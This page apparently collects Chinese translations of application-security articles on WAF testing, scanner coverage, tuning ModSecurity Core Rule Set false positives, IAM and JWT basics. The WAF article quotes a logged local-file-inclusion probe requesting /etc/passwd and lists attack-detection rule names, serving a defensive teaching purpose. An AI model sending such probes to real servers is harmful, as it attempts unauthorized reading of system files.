手动测试WAF是一个枯燥且容易出错的过程。相反,使用自动端到端测试在前面测试带有WAF的Pixi应用程序。您不必再关心测试了:每次将Web应用程序代码提交到存储库时,一切都会自动启动并运行。
获取您的WAF
使用正确的工具和软件,您可以在其前面使用WAF测试任何Web应用程序,并自动执行此操作。
这不仅适用于WAF专家。只要你测试它,WAF就是每个人的朋友。这是您抵御网络攻击的第一层防线。它是开源的,免费的,并创建了其他可能性,如虚拟补丁,扩展日志记录和监控。你绝对应该在测试和生产中使用WAF。
讨论:请加入知识星球【首席架构师圈】
- 67 次浏览
【安全运营】漏洞管理:100%的代码和漏洞覆盖是否切合实际?
在应用程序安全性测试领域,经常使用术语“代码覆盖率”和“漏洞覆盖率”。但他们真正的意思是什么?代码覆盖率是扫描的代码量,用于识别软件应用程序中的潜在漏洞。漏洞覆盖率是指软件代码中可能存在潜在威胁的特定缺陷或系统错误配置的数量。
您的AppSec团队应该实现100%的代码和漏洞覆盖吗?这是现实的吗?真正的答案是,“这取决于。”让我们看看各种考虑因素以及如何尽可能获得最佳覆盖率。
代码和漏洞覆盖范围:SAST,DAST等
软件开发人员和渗透测试人员使用复杂的软件保障测试工具来查找其软件中的漏洞。挑战在于没有一种工具(或工具类型)能够为整个目标应用提供足够的覆盖。当今市场上的应用程序安全测试工具在应用程序中发现了特定的弱点。尽管他们在识别特定漏洞方面可能非常出色,但没有一种解决方案可以做到这一切。
每个工具都专注于不同的语言和不同的弱点类(例如,缓冲区处理,文件处理,初始化和关闭以及数字处理)。虽然您可能对识别某些类型的弱点的测试结果感到欣喜若狂,但如果您只测试一小部分代码,则结果不能提供真实的表示。
静态应用程序安全性测试(SAST)工具(也称为白盒测试工具)在软件开发过程的早期阶段用于从内到外测试应用程序。它们逐行进行测试源代码,字节代码或二进制文件。
使用SAST工具,可以实现100%的代码覆盖率,因为它们可以访问应用程序的内部。
但是,即使可以访问所有代码的静态分析工具也无法提供完整的漏洞覆盖。事实上,专家表示,普通工具只能覆盖代码中14%的漏洞。因此,利用多种工具和相互补充的工具类型是行业最佳实践。
黑盒测试工具,也称为动态应用程序安全测试(DAST)工具,通常具有有限的代码覆盖率,基于他们能够识别的攻击面的多少以及它们在应用程序中模糊的输入以导致不同类型的漏洞。 DAST工具从外部进行测试。他们在应用程序运行时对其进行测试,尝试渗透它以发现潜在的漏洞,包括代码之外和第三方界面中的漏洞。
如果您想要实现全面的代码和漏洞覆盖,其他类型的工具(如交互式应用程序安全测试(IAST)工具,威胁建模工具,甚至手动测试)也是AppSec难题中的重要部分。即便如此,我们建议您更进一步,使用可帮助您理解这些AppSec工具的工具,并真正了解您的代码覆盖率是多么完整。
超越AppSec工具:使用代码覆盖工具提高可见性
虽然使用多个应用程序安全测试工具有许多优点,但也有一些障碍需要克服。使用每个额外的工具需要额外的成本,更多的时间来实现和运行它,以及比较不同结果集(例如,命名约定和严重性评级)的挑战。这是代码覆盖工具(如应用程序漏洞管理器和可视化工具)提供无与伦比的优势的地方。
应用程序漏洞管理工具将商业和开源工具的结果进行关联和规范化。它提供了一组统一的结果,可以更好地覆盖源代码中的潜在漏洞,并更好地评估组织的整体企业风险。
这一工具可处理重复数据删除,补救管理,报告和合规性检查。工作流集成选项允许您的开发人员在解决应用程序漏洞问题的同时保留其首选环境 - Eclipse,Jira,Jenkins和其他环境。
Code Dx应用程序漏洞管理工具还提供应用程序漏洞关联(AVC),通常称为混合分析。这是指SAST结果(识别潜在漏洞)与DAST结果(确定哪些威胁实际可利用)的组合。这使您可以确定代码中存在哪些威胁,并且可以被外部攻击者利用,因此您可以先解决这些威胁。
Code Dx团队还开发了一个免费的OWASP解决方案,称为Code Pulse。这种开源渗透测试可视化工具提供了对实时代码覆盖率分析测试的深入了解。它可以帮助您的测试团队评估用于应用程序安全性测试的每个工具的性能和覆盖范围。
它通过对应用程序攻击面的可视化说明以及渗透测试如何与之交互来实现。因为它在您的应用程序处于活动状态时实时运行,所以您可以准确地确定渗透测试涵盖了代码的哪些部分,以及哪些部分不是。
Code Pulse还会显示每个工具涵盖应用程序的哪些部分,因此您可以看到存在重叠的位置 - 更重要的是,哪里有间隙。这有助于您评估代码和漏洞覆盖率,并确定是否需要在测试过程中添加不同的工具。您可以快速比较所有工具的覆盖范围,查看尚未测试的任何代码,并立即查看扫描设置调整的结果。
总之,SAST工具可以提供100%的代码覆盖率(与DAST工具不同),但它们不能提供100%的漏洞覆盖率。为了尽可能接近100%的漏洞覆盖率,我们建议结合使用SAST,DAST和其他AppSec测试工具来获得全面的覆盖率。虽然这似乎是一项艰巨的任务,但应用程序漏洞管理器可帮助您了解这些工具的结果。像Code Pulse这样的可视化工具可以让您轻松查看覆盖的位置以及放大保护所需的位置。
原文:https://codedx.com/100-code-vulnerability-coverage-realistic/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 18 次浏览
【网络安全】如何调整您的WAF安装以减少误报
使用调整的ModSecurity / Core规则集安装优化您的NGINX设置。
站点管理员使用Web应用程序防火墙(WAF)来阻止恶意或危险的Web流量,但也存在阻止某些有效流量的风险。误报是您的WAF阻止有效请求的实例。
误报是每次WAF安装的天敌。每个误报都意味着两件坏事:你的WAF工作太辛苦,消耗计算资源以便做一些不应该做的事情,并且不允许合法的流量通过。产生太多误报的WAF造成的伤害可能与成功攻击造成的伤害一样糟糕 - 并且可能导致您在挫折中放弃使用您的WAF。
调整您的WAF安装以减少误报是一个繁琐的过程。本文将帮助您减少NGINX上的误报,让您进行干净安装,允许合法请求通过并立即阻止攻击。
WAF引擎ModSecurity最常用于与OWASP ModSecurity核心规则集(CRS)协调。这为Web应用程序攻击创建了第一道防线,例如OWASP Top Ten项目所描述的攻击。
CRS是用于对传入请求中的异常进行评分的规则集。它使用通用黑名单技术在攻击应用程序之前检测攻击。 CRS还允许您通过更改配置文件crs-setup.conf中的Paranoia Level来调整规则集的激进程度。
误报与真实攻击相互混合
由于使用CRS导致的误报导致阻止合法用户的恐惧是真实的。如果您有大量用户或具有可疑流量的Web应用程序,则警报的数量可能会令人生畏。
开箱即用的CRS配置已经过调整,可以积极地减少误报的数量。但是,如果您对默认安装的检测功能不满意,则需要更改偏执等级以改善覆盖范围。在配置文件中提高偏执等级会激活默认关闭的规则。它们不是Paranoia Level 1默认安装的一部分,因为它们有产生误报的倾向。妄想症等级设置越高,实施的规则就越多。因此,规则集变得越激进,产生的误报就越多。
考虑到这一点,您需要一种减轻误报的策略。如果允许它们与真实攻击的痕迹混合,它们会破坏规则集的价值。所以,你需要摆脱误报,以便最终得到一个干净的安装,让合法的请求通过并阻止攻击者。
问题很简单:
- 如何识别误报
- 如何处理个人误报
- 实用的方法是什么样的? (或者:你如何扩展这个?)
当十几个误报出现时,很难识别它们。对应用程序的深入了解有助于从恶意的请求中获取良性但可疑的请求。但是,如果您不想逐个查看它们,则需要过滤警报并确保最终只得到包含误报的数据集。因为如果你不这样做,你可能最终会调出指向发生攻击的真实警报。
您可以使用IP地址来识别已知用户,已知本地网络等。或者,您可以假设成功通过身份验证的用户不是攻击者(可能是天真的,具体取决于您的业务规模)。或者您可以使用其他一些识别方法。确切的方法实际上取决于您的设置和您的测试过程。
当您确定个体误报时,有多种方法可以避免将来重复误报。使用CRS,您不会编辑规则集,因为它意味着作为一个不可编辑且连贯的整体运行。相反,您可以通过ModSecurity指令重新配置规则集的使用方式。这使您可以将相同的更改应用于CRS的未来版本,而无需重新创建编辑。
通常有四种处理误报的方法:
- 您可以完全禁用规则
- 您可以通过规则从检查中删除参数
- 您可以在运行时禁用给定请求的规则(通常基于请求的URI)
- 您可以在运行时从规则检查中删除给定请求的参数
很明显,禁用某些规则会影响规则集的检测率。实际上,您希望对规则集进行最小的更改,以允许良性但可疑的请求通过,从而避免误报。在各种情况下做出最佳选择需要一些经验。
我在cheatsheet上总结了四个一般变体,你可以从netnea.com下载。
缩放调整过程
掌握这个调整过程需要一些练习。当你对这个新手时,看起来并不像它会扩展。事实上,许多新人只是接近警报并尝试通过它 - 通常没有太大的成功。
鉴于ModSecurity警报的可读性较低,人们采用这种方法的事实并不令人意外。以下是真实攻击的一个例子(真正的正面):
2018/01/15 18:52:34 [info] 7962#7962: *1 ModSecurity: Warning. Matched "Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:test' (Value: `/etc/passwd' ) [file "/home/dune73/data/git/nginx-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:test: /etc/passwd"] [severity "2"] [ver "OWASP_CRS/3.0.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "127.0.0.1"] [uri "/index.html"] [unique_id "151603875418.798396"] [ref "o1,10v21,11t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase"], client: 127.0.0.1, server: localhost, request: "GET /index.html?test=/etc/passwd HTTP/1.1", host: "localhost"
如果您有数千个这样的日志条目,警报疲劳是正常的反应。你需要工具来找到自己的方式。最简单的工具是一组shell别名,它们以更易读的方式提取信息并显示它 - 我开发了一组执行此任务的shell别名。您也可以从netnea下载这些。
以下是此文件中的一个示例,它提供了警报消息的摘要:
alias melidmsg='grep -o "\[id [^]]*\].*\[msg [^]]*\]" | sed -e "s/\].*\[/] [/" -e "s/\[msg //" | cut -d\ -f2- | tr -d "\]\"" | sed -e "s/(Total .*/(Total ...) .../"'
以上面的示例消息为例,并应用此别名:
$> cat sample-alert.log | melidmsg 930120 OS File Access Attempt
这样做要好得多:ID为930120的规则是由请求触发的,指向操作系统文件访问尝试。可疑请求试图访问/ etc / passwd-服务器的本地密码文件,Web服务器永远不应该访问该文件。这是真正攻击的明显迹象。
现在让我们列出一个在Paranoia Level 3上使用CRS安装的典型非调整站点上发现的误报列表。我应用了melidmsg别名并按规则对它们求和(sort | uniq -c | sort -n):
8 932160 Remote Command Execution: Unix Shell Code Found 30 921180 HTTP Parameter Pollution (ARGS_NAMES:op) 75 942130 SQL Injection Attack: SQL Tautology Detected. 275 942200 Detects MySQL comment-/space-obfuscated injections and backtick termination 308 942270 Looking for basic sql injection. Common attack string for mysql, oracle and others. 402 942260 Detects basic SQL authentication bypass attempts 2/3 445 942410 SQL Injection Attack 448 921180 HTTP Parameter Pollution (ARGS_NAMES:fields[]) 483 942431 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (6) 541 941170 NoScript XSS InjectionChecker: Attribute Injection 8188 942450 SQL Hex Encoding Identified
给出的第一个数字是误报的数量。第二个数字是触发的规则的ID。后面的字符串是规则的文本描述。
这是分布在11个不同规则上的数千个错误警报。这不仅仅是我们可以一口咬下来的,而只是从第一个警报开始就不会让我们到任何地方。至少我们获得了定量信息。好像最大的问题似乎是看起来是十六进制编码的信息,CRS认为它可能是一个混淆的攻击。通常,这是一个会话ID,如果它在cookie中。
然而,即使以最大数量的误报开始也会给我们带来即时的满足感,但这并不是最好的方法。当我们点击XSS规则时,由此规则产生的541警报(编号941170)很可能会转换为数十种不同的形式和参数。这将使得在单个块中正确处理它们变得非常困难。
所以,我们不要急于求成。让我们想出一个更好的方法。
为调整过程带来意义和理由
我们需要开发更好的方法是一个不同的视角。我们不应该再看不同的规则了。我们应该查看触发规则的请求。因此,我们将查看成千上万的请求,并将误报放在一边,而不是几千个警报。
为此,我们需要知道服务器上所有请求的异常分数。不仅是那些得分,还有那些没有引起任何警报的人。该分数显然为零,但必须知道此类别中的请求数量,以便更好地了解误报的数量。
当我以前在Apache上工作时,让ModSecurity在服务器的访问日志中报告每个请求的异常分数是相当容易的。使用NGINX并不容易。因此,我们需要采用不同的技术:我们添加一条规则,在请求完成后报告异常分数(在ModSecurity的日志记录阶段5)。我们分配此规则ID 980145。
SecAction \ "id:980145,\ phase:5,\ pass,\ t:none,\ log,\ noauditlog,\ msg:\'Incoming Anomaly Score: %{TX.ANOMALY_SCORE}\'"
当我们grep这个规则ID时,我们得到每个请求的分数。
重新格式化输出,我们可以有效地提取异常分数:
$> cat error-2.log | grep 980145 | egrep -o "Incoming Anomaly Score: [0-9]+" | cut -b25- 0 0 0 5 0 0 10 0 3 0 0 0 ...
这些价值如何分配?
$> cat error-2.log | grep 980145 | egrep -o "Incoming Anomaly Score: [0-9]+" | cut -b25- | modsec-positive-stats.rb --incoming INCOMING Num of req. | % of req. | Sum of % | Missing % Number of incoming req. (total) | 897096 | 100.0000% | 100.0000% | 0.0000% Empty or miss. incoming score | 0 | 0.0000% | 0.0000% | 100.0000% Reqs with incoming score of 0 | 888984 | 99.0957% | 99.0957% | 0.9043% Reqs with incoming score of 1 | 0 | 0.0000% | 99.0957% | 0.9043% Reqs with incoming score of 2 | 3 | 0.0003% | 99.0960% | 0.9040% Reqs with incoming score of 3 | 1392 | 0.1551% | 99.2512% | 0.7488% Reqs with incoming score of 4 | 0 | 0.0000% | 99.2512% | 0.7488% Reqs with incoming score of 5 | 616 | 0.0686% | 99.3199% | 0.6801% Reqs with incoming score of 6 | 1 | 0.0001% | 99.3200% | 0.6800% Reqs with incoming score of 7 | 0 | 0.0000% | 99.3200% | 0.6800% Reqs with incoming score of 8 | 10 | 0.0011% | 99.3211% | 0.6789% Reqs with incoming score of 9 | 0 | 0.0000% | 99.3211% | 0.6789% Reqs with incoming score of 10 | 5856 | 0.6527% | 99.9739% | 0.0261% Reqs with incoming score of 11 | 0 | 0.0000% | 99.9739% | 0.0261% Reqs with incoming score of 12 | 0 | 0.0000% | 99.9739% | 0.0261% Reqs with incoming score of 13 | 12 | 0.0013% | 99.9752% | 0.0248% Reqs with incoming score of 14 | 0 | 0.0000% | 99.9752% | 0.0248% Reqs with incoming score of 15 | 82 | 0.0091% | 99.9843% | 0.0157% Reqs with incoming score of 16 | 0 | 0.0000% | 99.9843% | 0.0157% Reqs with incoming score of 17 | 0 | 0.0000% | 99.9843% | 0.0157% Reqs with incoming score of 18 | 5 | 0.0005% | 99.9849% | 0.0151% Reqs with incoming score of 19 | 0 | 0.0000% | 99.9849% | 0.0151% Reqs with incoming score of 20 | 5 | 0.0005% | 99.9855% | 0.0145% Reqs with incoming score of 21 | 0 | 0.0000% | 99.9855% | 0.0145% ... Reqs with incoming score of 29 | 0 | 0.0000% | 99.9855% | 0.0145% Reqs with incoming score of 30 | 126 | 0.0140% | 99.9995% | 0.0005% Reqs with incoming score of 31 | 0 | 0.0000% | 99.9995% | 0.0005% ... Reqs with incoming score of 60 | 4 | 0.0001% | 99.9999% | 0.0001% Incoming average: 0.0796 Median 0.0000 Standard deviation 0.9168
在这里,我使用了一个名为modsec-positive-stats.rb的脚本,我也在netnea网站上发布了这个脚本。它需要STDIN的异常分数并对它们运行几个统计数据。您可以获得各种百分比,平均分数,中位数甚至标准差。
让我们现在专注于第二列:它给出了传入异常分数的分布。现在我们有了数字,我们可以想象它们:
fixme图形分布
图1.传入请求的异常分数的分布。 Y轴上每个分数的请求数,以对数标度表示。资料来源:O'Reilly。
我们得到一条非常崎岖不平的曲线,在长尾中向右延伸。最高请求数的异常得分为0.这是所有通过规则集而没有任何警报的请求被记录的地方。在此位置右侧是触发一个或多个警报的请求。
我们越靠右,分数越高。你可以说这些是最可疑的请求。左侧更多,分数较低,我们看到仅触发一个或两个规则的请求。也许这些甚至都不是关键规则,但那些具有更多信息的弯曲 - 就像缺少Accept标题等。
如您所知,核心规则集是一种异常评分规则集。请求首先通过所有规则,并计算异常分数。然后,我们将累积的异常分数与异常阈值进行比较。默认阈值为5,这意味着单个关键规则警报将导致阻止请求。这就是我们希望它在安全设置中的方式。
实际上,如果我们愿意,我们可以更改此限制。在整合过程中,这实际上很有意义。如果我们将限制设置为10,000(是的,我在生产系统中看到了10,000分),我们可以确定核心规则集不会阻止任何合法请求。这样,我们可以使用真实数据检查规则集和我们的服务,并开始调整误报。
目标是将异常评分阈值降低到5,但我们不要试图一步完成。最好从10,000到100,然后到50,到20,到10,再到5。
如果我们采取这条道路,那么采取第一步并将异常限制设定为较低值的方法是什么?再看一下图1中的图表。如果我们在该图表中将异常阈值设置为50,我们将以60的分数阻止请求。因此,如果我们想要降低限制,我们会更好地处理这些请求以及所有其他要求得分更高的请求超过目标限制。
我们不需要立即查看大量剩余的误报 - 通常是令人生畏的景象。相反,我们专注于少量具有最高异常分数的请求作为开始。如果我们确定了这些,我们可以过滤导致这些高分的警报。我们可以借助作为ModSecurity警报消息一部分的唯一标识来完成此操作。
$> grep 980145 error.log | grep "Incoming Anomaly Score: 60\"" | melunique_id > ids
然后使用这些唯一ID来过滤那些导致上述得分的警报:
$> grep -F -f ids error.log | melidmsg | sort | uniq -c | sort -n 8 941140 XSS Filter - Category 4: Javascript URI Vector 12 932130 Remote Command Execution: Unix Shell Expression Found 12 941210 IE XSS Filters - Attack Detected. 16 941170 NoScript XSS InjectionChecker: Attribute Injection
然后我们可以调整这些误报并使我们能够降低异常阈值,同时高度保证不会阻止合法客户。如果您对此不熟悉,不要急于求成。调整一些误报,然后让调整后的规则集运行几天。
随着时间的推移,您已准备好进行下一次迭代:调整误报,阻止您进一步降低限制。当你看到这些请求时,你会发现一个惊人的发现。第一次调整迭代还减少了您在第二轮中必须检查的请求数。
如果你想一下这一点,那就很有意义了。导致得分最高的许多规则是导致中等分数的相同规则。因此,如果我们处理导致得分最高的第一批规则,则第二次调整迭代只需处理那些在得分最高的请求中不存在的误报。
这整个方法允许您构建规则集的调整以消除误报。看起来像是一个不可逾越的山峰,已经变成了一系列较低的,可行的山丘。您可以逐个使用它们,通常在给定的迭代中解决5到10个误报。 (如果更多,请采取更小的步骤。)
选择正确的误报来处理不再是猜谜游戏,您将能够快速降低异常分数阈值。因此,从降低异常限制的那一刻起,您就可以提高站点的安全性。 (根据我的经验,实质性保护只从20或更低的阈值开始)。
简而言之,调整过程
让我总结一下这种处理误报的方法。我们总是在阻止模式下工作。我们最初将异常阈值设置为一个非常高的数字,并进行多次迭代:
- 查看具有最高异常分数的请求并处理其误报
- 将异常分数阈值降低到下一步
- 冲洗并重复,直到异常评分阈值为5
我通常称之为误报调整的迭代方法。有些人称之为Folini方法,因为我似乎是唯一一个以这种方式使用ModSecurity和CRS教授课程的人。
许多人已经在Apache上以非常成功的方式使用了这种技术多年。我强烈建议您试试NGINX ModSecurity / CRS设置。
Links:
- OWASP ModSecurity Core Rule Set (CRS)
- BIG Cheatsheet Download
- Apache / ModSecurity Tutorials
- NGINX Plus Admin Guide and Tutorial
This post is a collaboration between O'Reilly and NGINX.
See our statement of editorial independence.
原文:https://www.oreilly.com/ideas/how-to-tune-your-waf-installation-to-reduce-false-positives
本文:http://pub.intelligentx.net/how-tune-your-waf-installation-reduce-false-positives
讨论:请加入知识星球【首席架构师圈】
- 258 次浏览
应用安全
应用安全 intelligentx- 142 次浏览
【企业安全】企业安全系列第 2 部分 — 身份和访问管理
身份和访问管理 (IAM) 是一个业务流程、策略和技术框架,可促进数字身份(人类、设备和应用程序)的管理。从根本上讲,IAM 定义了如何在系统中识别用户、他们拥有什么样的访问权限、提供/取消提供数字身份、保护系统中的数据以及最后保护系统本身。
云托管变得流行,因为它更灵活、可扩展、安全、经济高效和高度可配置。促成这些好处的最大因素是“多租户”。多租户架构为超过 1 个客户提供对云的 4 种基本资源(计算、网络、存储和数据库)的并发共享访问。随着越来越多的监管和合规法律,业务和技术领导者比以往任何时候都更加依赖 IAM 来保护他们——在数据丢失、数据损坏、法律罚款、企业资源访问等方面。
- Basic building blocks of IAM.
上图显示了 IAM 的基本构建块。 这一切都始于“身份元素”,如身份、组等,用于定义“身份模式”,如 DIM、FIM 等,在其上构建“身份协议”,如 oAuth 2.0。 身份元素、IAM 模式和协议都放在一起设计和实施 IAM 云解决方案。 为了进一步阅读,我强烈推荐“Isuru J. Ranawaka”撰写的“云计算中的身份和访问管理”关于每个云工程师应该知道的 97 件事 (redhat.com)
以下是我们可以建立安全企业的安全架构的 8 条指导原则,其中大部分是不言自明的。
- 8 Design Principles of Security Architecture.
总而言之,IAM 解决方案、框架和设计原则可帮助企业满足行业合规要求、隐私法,并帮助他们节省时间和金钱,同时降低业务部门的风险。
原文:https://medium.com/@krishnacavva/enterprise-security-series-part-2-iden…
本文:https://jiagoushi.pro/enterprise-security-series-part-2-identity-and-ac…
- 19 次浏览
【应用安全 】JWT初学者入门指南
令牌身份验证,OAuth或JSON Web令牌的新手? 这是一个很好的起点!
首先,什么是JSON Web令牌,或JWT(发音为“jot”)? 简而言之,JWT是用于令牌认证的安全且值得信赖的标准。 JWT允许您使用签名对信息(称为声明)进行数字签名,并且可以在以后使用秘密签名密钥进行验证。
什么是令牌认证?
应用程序确认用户身份的过程称为身份验证。传统上,应用程序通过会话cookie保持身份,这些cookie依赖于服务器端存储的会话ID。在此结构中,开发人员被迫创建独特且特定于服务器的会话存储,或实现为完全独立的会话存储层。
令牌认证是一种更现代的方法,设计解决了服务器端会话ID无法解决的问题。使用令牌代替会话ID可以降低服务器负载,简化权限管理,并提供更好的工具来支持分布式或基于云的基础架构。在此方法中,为用户提供可验证凭据后会生成令牌。初始身份验证可以是用户名/密码凭据,API密钥,甚至来自其他服务的令牌。 (Stormpath的API密钥身份验证功能就是一个例子。)
有兴趣了解更多?查看此博客文章,了解如何使用令牌扩展用户管理或完整的产品文档。
JWT的剖析
如果您在野外遇到JWT,您会注意到它分为三个部分,标题,有效负载和签名。 (随着我们剖析JWT的解剖结构,请关注Stormpath的开源Java JWT工具!)以下是典型JWT的示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 . eyJzdWIiOiJ1c2Vycy9Uek1Vb2NNRjRwIiwibmFtZSI6IlJvYmVydCBUb2tlbiBNYW4 . 1pVOLQduFWW3muii1LExVBt2TK1-MdRI4QjhKryaDwc
在此示例中,第1节是描述令牌的标头。 第2节是有效载荷,其中包含JWT的声明,第3节是签名散列,可用于验证令牌的完整性(如果您有用于签名的密钥)。
当我们解码有效载荷时,我们得到这个包含JWS声明的漂亮,整洁的JSON对象:
{ "sub": "users/TzMUocMF4p", "name": "Robert Token Man", "scope": "self groups/admins", "exp": "1300819380" }
要求(Cliam) 告诉你,至少:
- 这个人是谁以及他们的用户资源的URI(子要求)
- 此人可使用此令牌访问的内容(范围声明)
- 令牌过期时您的API应在验证令牌时使用此功能。
因为令牌是使用密钥签名的,所以您可以验证其签名并隐含地信任所声称的内容。
JWE,JWS和JWT
根据JWT规范,“JWT将一组声明表示为以JWS和/或JWE结构编码的JSON对象。”术语“JWT”在技术上仅描述了无符号标记;我们称之为JWT的通常是JWS或JWS + JWE。
JWS - JSON Web签名
在JWS方案中,服务器对JWT进行签名并使用签名将其发送到客户端。签名保证了JWT要求没有被伪造或篡改。但是,JWT未加密(内容基本上是纯文本)。
JWE - JSON Web加密
另一方面,JWE方案在不签名的情况下加密内容。这为您的JWT带来了机密性,但不是JWE签名和封装JWE的安全性。
什么是OAuth?
OAuth 2.0是与可以委派身份验证或提供授权的服务进行交互的框架。它被广泛用于许多移动和Web应用程序。 OAuth 2.0没有指定令牌格式,但JWT正在迅速成为业界的事实标准。
在OAuth范例中,有两种令牌类型:访问和刷新令牌。首次进行身份验证时,通常会为您的应用程序(以及您的用户)提供两个令牌,但访问令牌设置为在短时间后过期(此持续时间可在应用程序中配置)。初始访问令牌到期后,刷新令牌将允许您的应用程序获取新的访问令牌。刷新令牌具有设置的到期时间,允许无限制地使用,直到达到该到期点。 Access和Refresh Tokens都具有内置安全性(签名时)以防止篡改,并且仅在特定持续时间内有效。
Stormpath使用OAuth,因为它是一个行业标准,任何兼容的库都可以利用它。 Stormpath目前支持三种OAuth的授权类型:
- 密码授予类型:提供基于用户名和密码获取访问令牌的功能
- 刷新授权类型:提供基于特殊刷新令牌生成另一个访问令牌的功能
- 客户端凭据授权类型:提供为访问令牌交换API密钥对的功能。这通过API密钥管理功能得到支持
用Java创建和验证JWT
所以,你在代币上出售,现在,你如何在你的应用程序中使用它们?
好吧,如果你是Java开发人员,你应该从JJWT开始。 JJWT是一个Java库,提供由我们自己的Les Hazlewood开发并由开发人员社区维护的端到端JSON Web令牌创建和验证。永远免费和开源(Apache许可证,版本2.0),它设计了一个以构建者为中心的界面,隐藏了其大部分复杂性。
创建
由于JJWT的流畅界面,JWT的创建基本上分为三个步骤:
令牌的内部声明的定义,如Issuer,Subject,Expiration和ID。
密码签名JWT(制作JWS)
根据JWT Compact Serialization规则,将JWT压缩为URL安全字符串
最终的JWT将是一个由三部分组成的Base64编码字符串,使用提供的密钥使用指定的签名算法进行签名。在此之后,令牌已准备好与另一方共享。
这是使用JJWT库从上面创建JWT的示例:
String jwt = Jwts.builder() .setSubject("users/TzMUocMF4p") .setExpiration(new Date(1300819380)) .claim("name", "Robert Token Man") .claim("scope", "self groups/admins") .signWith( SignatureAlgorithm.HS256, "secret".getBytes("UTF-8") ) .compact();
证实
一旦拥有JWT,您通常会将其交还给请求它的客户端。 然后,客户端将其存储并将请求中的令牌传递给您的应用程序。 这通常使用HTTP中的cookie值或授权标头来完成。 例如:
HTTP/1.1
GET /secure-resource
Host: https://yourapplication.com
Authorization: Bearer eyJraWQiOiIzMUUzRDZaM0xaMVdFSEJGWVRQRksxRzY4IiwiYWxnIjoiSFMyNTYifQ.eyJqdGkiOiI2a3NjVFMyUjZuYlU3c1R
hZ0h0aWFXIiwiaWF0IjoxNDQ1ODU0Njk0LCJpc3MiOiJodHRwczovL2FwaS5zdG9ybXBhdGguY29tL3YxL2FwcGxpY2F0aW9ucy8zUUlNbEpLS04yd2hHQ1l
6WFh3MXQ4Iiwic3ViIjoiaHR0cHM6Ly9hcGkuc3Rvcm1wYXRoLmNvbS92MS9hY2NvdW50cy8xeG15U0dLMXB5VVc1c25qOENvcmU1IiwiZXhwIjoxNDQ1ODU
4Mjk0LCJydGkiOiI2a3NjVE9pTUNESVZWM05qVTIyUnlTIn0.VJyMOicMOdcOCtytsx4hoPHy3Hl3AfGNfi2ydy8AmG4
验证JWT允许您验证其真实性(通过检查其数字签名,您可以检查它是否已过期并验证它是否未被篡改)并获取有关发送令牌的用户的信息。
以下是验证我们在上面创建的JWT的示例:
String jwt = <jwt passed in from above> Jws<Claims> claims = Jwts.parser() .setSigningKey("secret".getBytes("UTF-8")) .parseClaimsJws(jwt) String scope = claims.getBody().get("scope") assertEquals(scope, "self groups/admins");
如果签名不正确,则对parseClaimsJws的调用将抛出SignatureException。成功解析后,可以获取并检查单个声明,如下所示:String scope = claims.getBody()。get(“scope”)。
例外
JJWT在与JWT合作时进行了各种验证。所有与JJWT相关的异常都是RuntimeExceptions,以JwtException作为基类。
这些错误会导致抛出特定异常:
- ClaimJwtException:在验证JWT声明失败后抛出
- ExpiredJwtException:表示JWT在过期后被接受,必须被拒绝
- MalformedJwtException:当JWT未正确构造并且应该被拒绝时抛出
- PrematureJwtException:表示JWT在被允许访问之前被接受,必须被拒绝
- SignatureException:表示计算签名或验证JWT的现有签名失败
- UnsupportedJwtException:在接收到与应用程序预期格式不匹配的特定格式/配置的JWT时抛出。例如,如果在应用程序需要加密签名的声明JWS时解析无符号明文JWT,则会抛出此异常
- JJWT使用了许多其他Exception类。它们都可以在JJWT源代码中的io.jsonwebtoken包中找到。
令牌安全吗?
这里真正的问题是,你安全地使用它们吗?在Stormpath,我们遵循这些最佳实践,并鼓励我们的客户也这样做:
- 将您的JWT存储在安全的HttpOnly cookie中。这可以防止跨站点脚本(XSS)攻击。
- 如果您使用cookie来传输JWT,CSRF保护非常重要!未经用户同意,向您的网站提出请求的其他域名可能会恶意使用您的Cookie。如果您的服务器盲目地对用户进行身份验证,只是因为他们有cookie,那么您遇到的问题比硬盘驱动器大。您还允许进行CSRF攻击,其他网站会在未经用户同意的情况下触发您服务器上的状态更改操作。这是可能的,因为浏览器将始终自动发送用户的cookie,无论请求是如何被触发的。使用众多CSRF预防措施之一来降低此风险。
- 使用仅可用于身份验证服务的强密钥对您的令牌进行签名。每次使用令牌对用户进行身份验证时,您的服务器必须验证令牌是否已使用您的密钥签名。
- 不要将任何敏感数据存储在JWT中。这些令牌通常被签名以防止操纵(未加密),因此可以容易地解码和读取权利要求中的数据。如果您必须在其中放入敏感的,不透明的信息,请加密您的令牌。秘密签名密钥只能由发行方和消费者访问;它不应该在这两方之外进行。
- 如果您担心重播攻击,请在声明中包含nonce(jti声明),到期时间(exp声明)和创建时间(ifat声明)。这些在JWT规范中有明确定义。
JJWT,JSONWebToken.io和JWT Inspector
Stormpath支持开发几个与JWT相关的开源开发人员工具,包括:
JJWT
JJWT是一个易于使用的工具,供开发人员用Java创建和验证JWT。在Stormpath支持的许多库中,JJWT是完全免费和开源的(Apache License,Version 2.0),因此每个人都可以看到它的作用以及它是如何做到的。不要犹豫,报告任何问题,建议改进,甚至提交一些代码!
JSONWebToken.io
JSONwebtoken.io是我们创建的一个开发工具,可以轻松解码JWT。将现有JWT简单粘贴到适当的字段中以解码其标头,有效负载和签名。 JSONWebToken.io由nJWT提供支持,nJWT是Node.js开发人员最干净的免费和开源(Apache License,Version 2.0)JWT库。
JWT检查器
JWT Inspector是一个开源的Chrome扩展程序,允许开发人员直接在浏览器中检查和调试JWT。 JWT Inspector将在您的站点上发现JWT(在cookie,本地/会话存储和标题中),并通过导航栏和DevTools面板轻松访问它们。
想要了解有关JWT,令牌认证或用户身份管理的更多信息?以下是我们团队的一些进一步资源:
- 单页应用程序的令牌认证
- 使用Spring Boot和Stormpath进行OAuth令牌管理
- Java应用程序的令牌认证
- 使用JSON Web令牌构建安全的用户界面
- OAuth不是单点登录
